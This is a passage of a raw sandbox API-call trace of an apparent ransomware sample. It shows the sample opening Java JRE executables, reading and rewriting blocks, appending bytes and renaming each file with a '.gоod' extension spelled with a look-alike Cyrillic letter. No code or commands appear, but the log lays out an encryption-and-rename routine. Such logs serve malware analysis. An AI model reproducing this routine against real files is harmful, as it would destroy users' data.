lpNumberOfBytesWritten=0x1f49c658, lpOverlapped=0x0 | out: lpBuffer=0x32190f8*, lpNumberOfBytesWritten=0x1f49c658*=0x1010, lpOverlapped=0x0) returned 1 [0078.110] CloseHandle (hObject=0x6b4) returned 1 [0078.111] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe", lpFilePart=0x0) returned 0x32 [0078.111] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe.gоod", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe.gоod", lpFilePart=0x0) returned 0x37 [0078.111] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c590) returned 1 [0078.111] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\pack200.exe"), fInfoLevelId=0x0, lpFileInformation=0x1f49c670 | out: lpFileInformation=0x1f49c670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x2ac5a836, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4050)) returned 1 [0078.111] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c550) returned 1 [0078.111] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\pack200.exe"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe.gоod" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\pack200.exe.gоod")) returned 1 [0078.112] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe", lpFilePart=0x0) returned 0x35 [0078.112] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c5d0) returned 1 [0078.112] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\policytool.exe"), fInfoLevelId=0x0, lpFileInformation=0x3296770 | out: lpFileInformation=0x3296770*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040)) returned 1 [0078.184] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c590) returned 1 [0078.184] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe", lpFilePart=0x0) returned 0x35 [0078.184] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0078.184] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\policytool.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0078.184] GetFileType (hFile=0x778) returned 0x1 [0078.185] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0078.185] GetFileType (hFile=0x778) returned 0x1 [0078.185] SetFilePointer (in: hFile=0x778, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f49c628*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f49c628*=0) returned 0x1000 [0078.185] ReadFile (in: hFile=0x778, lpBuffer=0x313f4a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49c5f8, lpOverlapped=0x0 | out: lpBuffer=0x313f4a0*, lpNumberOfBytesRead=0x1f49c5f8*=0x1000, lpOverlapped=0x0) returned 1 [0078.186] CloseHandle (hObject=0x778) returned 1 [0078.186] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe", lpFilePart=0x0) returned 0x35 [0078.186] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0078.186] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\policytool.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0078.186] GetFileType (hFile=0x778) returned 0x1 [0078.186] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0078.186] GetFileType (hFile=0x778) returned 0x1 [0078.186] SetFilePointer (in: hFile=0x778, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f49c628*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f49c628*=0) returned 0x4040 [0078.186] WriteFile (in: hFile=0x778, lpBuffer=0x3140718*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f49c518, lpOverlapped=0x0 | out: lpBuffer=0x3140718*, lpNumberOfBytesWritten=0x1f49c518*=0x10, lpOverlapped=0x0) returned 1 [0078.187] CloseHandle (hObject=0x778) returned 1 [0078.189] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe", lpFilePart=0x0) returned 0x35 [0078.189] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0078.189] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\policytool.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0078.189] GetFileType (hFile=0x778) returned 0x1 [0078.189] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0078.189] GetFileType (hFile=0x778) returned 0x1 [0078.189] ReadFile (in: hFile=0x778, lpBuffer=0x31429b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49c5a8, lpOverlapped=0x0 | out: lpBuffer=0x31429b8*, lpNumberOfBytesRead=0x1f49c5a8*=0x1000, lpOverlapped=0x0) returned 1 [0078.216] CloseHandle (hObject=0x778) returned 1 [0078.216] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe", lpFilePart=0x0) returned 0x35 [0078.216] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0078.216] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\policytool.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0078.217] GetFileType (hFile=0x778) returned 0x1 [0078.217] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0078.217] GetFileType (hFile=0x778) returned 0x1 [0078.217] WriteFile (in: hFile=0x778, lpBuffer=0x3141730*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f49c658, lpOverlapped=0x0 | out: lpBuffer=0x3141730*, lpNumberOfBytesWritten=0x1f49c658*=0x1010, lpOverlapped=0x0) returned 1 [0078.217] CloseHandle (hObject=0x778) returned 1 [0078.218] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe", lpFilePart=0x0) returned 0x35 [0078.218] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe.gоod", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe.gоod", lpFilePart=0x0) returned 0x3a [0078.218] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c590) returned 1 [0078.218] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\policytool.exe"), fInfoLevelId=0x0, lpFileInformation=0x1f49c670 | out: lpFileInformation=0x1f49c670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x2ad65693, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4050)) returned 1 [0078.218] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c550) returned 1 [0078.218] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\policytool.exe"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe.gоod" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\policytool.exe.gоod")) returned 1 [0078.219] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe", lpFilePart=0x0) returned 0x2f [0078.219] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c5d0) returned 1 [0078.219] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmid.exe"), fInfoLevelId=0x0, lpFileInformation=0x31bee68 | out: lpFileInformation=0x31bee68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8a148fe, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8a148fe, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8a148fe, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3e40)) returned 1 [0078.273] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c590) returned 1 [0078.273] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe", lpFilePart=0x0) returned 0x2f [0078.273] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0078.273] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmid.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0078.273] GetFileType (hFile=0x778) returned 0x1 [0078.273] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0078.273] GetFileType (hFile=0x778) returned 0x1 [0078.273] SetFilePointer (in: hFile=0x778, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f49c628*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f49c628*=0) returned 0x1000 [0078.273] ReadFile (in: hFile=0x778, lpBuffer=0x323eb90, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49c5f8, lpOverlapped=0x0 | out: lpBuffer=0x323eb90*, lpNumberOfBytesRead=0x1f49c5f8*=0x1000, lpOverlapped=0x0) returned 1 [0078.274] CloseHandle (hObject=0x778) returned 1 [0078.274] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe", lpFilePart=0x0) returned 0x2f [0078.274] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0078.274] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmid.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0078.275] GetFileType (hFile=0x778) returned 0x1 [0078.275] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0078.275] GetFileType (hFile=0x778) returned 0x1 [0078.275] SetFilePointer (in: hFile=0x778, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f49c628*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f49c628*=0) returned 0x3e40 [0078.275] WriteFile (in: hFile=0x778, lpBuffer=0x323fdf0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f49c518, lpOverlapped=0x0 | out: lpBuffer=0x323fdf0*, lpNumberOfBytesWritten=0x1f49c518*=0x10, lpOverlapped=0x0) returned 1 [0078.275] CloseHandle (hObject=0x778) returned 1 [0078.277] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe", lpFilePart=0x0) returned 0x2f [0078.277] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0078.278] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmid.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0078.278] GetFileType (hFile=0x778) returned 0x1 [0078.278] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0078.278] GetFileType (hFile=0x778) returned 0x1 [0078.278] ReadFile (in: hFile=0x778, lpBuffer=0x3242078, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49c5a8, lpOverlapped=0x0 | out: lpBuffer=0x3242078*, lpNumberOfBytesRead=0x1f49c5a8*=0x1000, lpOverlapped=0x0) returned 1 [0078.675] CloseHandle (hObject=0x778) returned 1 [0078.675] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe", lpFilePart=0x0) returned 0x2f [0078.675] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0078.675] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmid.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0078.675] GetFileType (hFile=0x778) returned 0x1 [0078.675] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0078.675] GetFileType (hFile=0x778) returned 0x1 [0078.675] WriteFile (in: hFile=0x778, lpBuffer=0x313bc30*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f49c658, lpOverlapped=0x0 | out: lpBuffer=0x313bc30*, lpNumberOfBytesWritten=0x1f49c658*=0x1010, lpOverlapped=0x0) returned 1 [0078.675] CloseHandle (hObject=0x778) returned 1 [0078.677] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe", lpFilePart=0x0) returned 0x2f [0078.677] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe.gоod", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe.gоod", lpFilePart=0x0) returned 0x34 [0078.677] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c590) returned 1 [0078.677] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmid.exe"), fInfoLevelId=0x0, lpFileInformation=0x1f49c670 | out: lpFileInformation=0x1f49c670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8a148fe, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8a148fe, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x2b1b7db7, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3e50)) returned 1 [0078.677] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c550) returned 1 [0078.677] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmid.exe"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe.gоod" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmid.exe.gоod")) returned 1 [0078.677] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe", lpFilePart=0x0) returned 0x36 [0078.678] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c5d0) returned 1 [0078.678] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmiregistry.exe"), fInfoLevelId=0x0, lpFileInformation=0x321a6a8 | out: lpFileInformation=0x321a6a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8a148fe, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8a148fe, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8af971e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040)) returned 1 [0078.678] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c590) returned 1 [0078.678] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe", lpFilePart=0x0) returned 0x36 [0078.678] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0078.678] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmiregistry.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0078.678] GetFileType (hFile=0x778) returned 0x1 [0078.679] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0078.679] GetFileType (hFile=0x778) returned 0x1 [0078.679] SetFilePointer (in: hFile=0x778, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f49c628*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f49c628*=0) returned 0x1000 [0078.679] ReadFile (in: hFile=0x778, lpBuffer=0x321aa80, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49c5f8, lpOverlapped=0x0 | out: lpBuffer=0x321aa80*, lpNumberOfBytesRead=0x1f49c5f8*=0x1000, lpOverlapped=0x0) returned 1 [0078.680] CloseHandle (hObject=0x778) returned 1 [0078.680] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe", lpFilePart=0x0) returned 0x36 [0078.680] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0078.680] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmiregistry.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0078.680] GetFileType (hFile=0x778) returned 0x1 [0078.680] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0078.680] GetFileType (hFile=0x778) returned 0x1 [0078.680] SetFilePointer (in: hFile=0x778, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f49c628*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f49c628*=0) returned 0x4040 [0078.680] WriteFile (in: hFile=0x778, lpBuffer=0x321bcf8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f49c518, lpOverlapped=0x0 | out: lpBuffer=0x321bcf8*, lpNumberOfBytesWritten=0x1f49c518*=0x10, lpOverlapped=0x0) returned 1 [0078.681] CloseHandle (hObject=0x778) returned 1 [0078.683] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe", lpFilePart=0x0) returned 0x36 [0078.683] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0078.683] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmiregistry.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0078.683] GetFileType (hFile=0x778) returned 0x1 [0078.683] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0078.683] GetFileType (hFile=0x778) returned 0x1 [0078.683] ReadFile (in: hFile=0x778, lpBuffer=0x321df98, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49c5a8, lpOverlapped=0x0 | out: lpBuffer=0x321df98*, lpNumberOfBytesRead=0x1f49c5a8*=0x1000, lpOverlapped=0x0) returned 1 [0078.710] CloseHandle (hObject=0x778) returned 1 [0078.710] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe", lpFilePart=0x0) returned 0x36 [0078.710] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0078.710] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmiregistry.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0078.711] GetFileType (hFile=0x778) returned 0x1 [0078.711] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0078.711] GetFileType (hFile=0x778) returned 0x1 [0078.711] WriteFile (in: hFile=0x778, lpBuffer=0x321cd10*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f49c658, lpOverlapped=0x0 | out: lpBuffer=0x321cd10*, lpNumberOfBytesWritten=0x1f49c658*=0x1010, lpOverlapped=0x0) returned 1 [0078.711] CloseHandle (hObject=0x778) returned 1 [0078.712] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe", lpFilePart=0x0) returned 0x36 [0078.712] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe.gоod", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe.gоod", lpFilePart=0x0) returned 0x3b [0078.712] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c590) returned 1 [0078.712] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmiregistry.exe"), fInfoLevelId=0x0, lpFileInformation=0x1f49c670 | out: lpFileInformation=0x1f49c670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8a148fe, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8a148fe, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x2b20402a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4050)) returned 1 [0078.712] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c550) returned 1 [0078.712] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmiregistry.exe"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe.gоod" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmiregistry.exe.gоod")) returned 1 [0078.713] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe", lpFilePart=0x0) returned 0x35 